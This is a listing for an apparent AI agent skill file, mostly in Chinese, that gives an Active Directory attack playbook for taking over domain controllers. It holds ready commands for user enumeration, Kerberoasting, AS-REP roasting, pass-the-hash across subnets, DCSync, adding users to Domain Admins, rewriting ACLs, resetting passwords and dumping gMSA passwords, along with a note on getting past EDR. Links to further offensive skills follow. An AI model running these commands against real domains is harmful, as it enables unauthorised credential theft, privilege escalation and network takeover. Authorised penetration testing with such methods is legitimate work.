ad-domain-attack
$
npx mdskill add wgpsec/AboutSecurity/ad-domain-attackExecute full Active Directory attack chains to compromise domain controllers.
- Automates Kerberoasting, AS-REP, DCSync, and ticket attacks for lateral movement.
- Integrates with BloodHound, NetExec, and Kerbrute for reconnaissance and enumeration.
- Selects attack vectors based on domain detection, port scanning, or credential availability.
- Delivers actionable steps via command examples and references to MITRE ATT&CK techniques.
SKILL.md
.github/skills/ad-domain-attackView on GitHub ↗
--- name: ad-domain-attack description: "Active Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket" metadata: tags: "ad,domain,kerberos,kerberoasting,asrep,delegation,dcsync,golden ticket,acl,域,域控,横向移动,ntlm,bloodhound,zerologon,CVE-2020-1472,netlogon" category: "lateral" mitre_attack: "T1558.003,T1558.004,T1003.006,T1550.002,T1550.003,T1098,T1484" --- # AD 域攻击方法论 拿下域控 = 控制整个网络。 ## ⛔ 深入参考(必读) - 需要域侦察环境搭建与初始枚举 → [references/ad-recon-setup.md](references/ad-recon-setup.md) - 需要认证后深度枚举方法 → [references/authenticated-enum.md](references/authenticated-enum.md) - 需要密码喷洒、AS-REP Roasting、Kerberoasting 详细命令 → [references/credential-attacks.md](references/credential-attacks.md) - 需要委派攻击(RBCD)、ACL 滥用、DCSync、持久化 → [references/domain-escalation.md](references/domain-escalation.md) - → [references/zerologon-attack.md](references/zerologon-attack.md) — CVE-2020-1472 ZeroLogon 攻击与恢复 --- ## Phase 1: 域环境确认与信息收集 ### 1.1 确认域环境 ```bash systeminfo | findstr /i "domain" # Windows nltest /dclist:DOMAIN_NAME nslookup -type=SRV _ldap._tcp.dc._msdcs.DOMAIN # Linux ``` 域控 IP 通常就是 DNS 服务器(`ipconfig /all` 中的 DNS Server)。 ### 1.2 域枚举(无需凭据) ```bash kerbrute userenum -d DOMAIN --dc DC_IP userlist.txt netexec ldap DC_IP -u '' -p '' --users # LDAP 匿名绑定 ``` ### 1.3 域深度枚举(需要域用户凭据) ```bash netexec ldap DC_IP -u USER -p PASS --users net accounts /domain # 密码策略(锁定阈值!) impacket-GetUserSPNs DOMAIN/USER:PASS -dc-ip DC_IP # SPN 枚举 bloodhound-python -d DOMAIN -u USER -p PASS -dc DC_IP -c all ``` BloodHound 能自动发现攻击路径,是域渗透最强大的工具。 ## Phase 2: 攻击决策树 ``` 拥有的凭据? ├─ 无凭据 → AS-REP Roasting(无需预认证的用户)→ [references/credential-attacks.md](references/credential-attacks.md) ├─ 任意域用户 → Kerberoasting(SPN 服务账户)→ [references/credential-attacks.md](references/credential-attacks.md) │ → 密码喷洒(先查锁定策略!)→ [references/credential-attacks.md](references/credential-attacks.md) │ → BloodHound 找攻击路径 ├─ 本地管理员 → SAM dump → PTH 横向 → 凭据复用 ├─ 域管权限 → DCSync 提取所有哈希 → [references/domain-escalation.md](references/domain-escalation.md) └─ 发现委派/ACL 路径 → 委派攻击/ACL 滥用 → [references/domain-escalation.md](references/domain-escalation.md) ``` ### 凭据复用速查 ```bash netexec smb 10.0.0.0/24 -u USER -p PASS --continue-on-success netexec smb 10.0.0.0/24 -u admin -H NTLM_HASH # PTH ``` ## 工具速查 | 场景 | 推荐工具 | |------|----------| | 域枚举 | BloodHound, netexec | | 票据攻击 | impacket 套件 | | 密码破解 | hashcat | | 漏洞利用 | certipy (ADCS), zerologon 脚本 | | NTLM 中继 | ntlmrelayx + Responder | | 证书攻击 | certipy (ESC1-ESC11) | ## Password Spray 安全策略 - 检查域密码策略:Lockout duration(锁定时长/冷却时间) - 避免账户锁定影响可用性 - observation window(观察窗口):了解计数器重置时间 ## 工具替代与规避 - SharpHound 可能被拦截(杀软/EDR),需要替代方案 - LDAP 查询可远程执行:无需上传工具、不接触目标文件系统 ## 补充工具 ### bloodyAD — AD LDAP 操作 ```bash # 添加用户到组 bloodyAD -d DOMAIN -u USER -p PASS --host DC_IP add groupMember "Domain Admins" "TARGET_USER" # 修改 ACL(添加 GenericAll) bloodyAD -d DOMAIN -u USER -p PASS --host DC_IP add genericAll "OU=xxx,DC=dom,DC=local" TARGET_USER # 查询可写对象 bloodyAD -d DOMAIN -u USER -p PASS --host DC_IP get writable # 修改密码 bloodyAD -d DOMAIN -u USER -p PASS --host DC_IP set password TARGET_USER "NewP@ss123" ``` ### ldeep — LDAP 深度枚举 ```bash # 连接并枚举 ldeep ldap -d DOMAIN -u USER -p PASS -s ldap://DC_IP all # 枚举委派配置 ldeep ldap -d DOMAIN -u USER -p PASS -s ldap://DC_IP delegations # 枚举 SPN ldeep ldap -d DOMAIN -u USER -p PASS -s ldap://DC_IP spns # 枚举 ASREPRoast 用户 ldeep ldap -d DOMAIN -u USER -p PASS -s ldap://DC_IP asreproast # 枚举信任关系 ldeep ldap -d DOMAIN -u USER -p PASS -s ldap://DC_IP trusts ``` ### enum4linux-ng — SMB/RPC 枚举 ```bash # 完整枚举(用户、组、共享、策略、RID) enum4linux-ng -A TARGET_IP # 认证枚举 enum4linux-ng -A TARGET_IP -u USER -p PASS # 仅用户枚举 enum4linux-ng -U TARGET_IP -u USER -p PASS ``` ### gMSADumper — gMSA 密码提取 ```bash # 导出 gMSA 账户密码 python3 /pentest/gMSADumper/gMSADumper.py -d DOMAIN -u USER -p PASS -l DC_IP ```
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|
- ai-identity-security|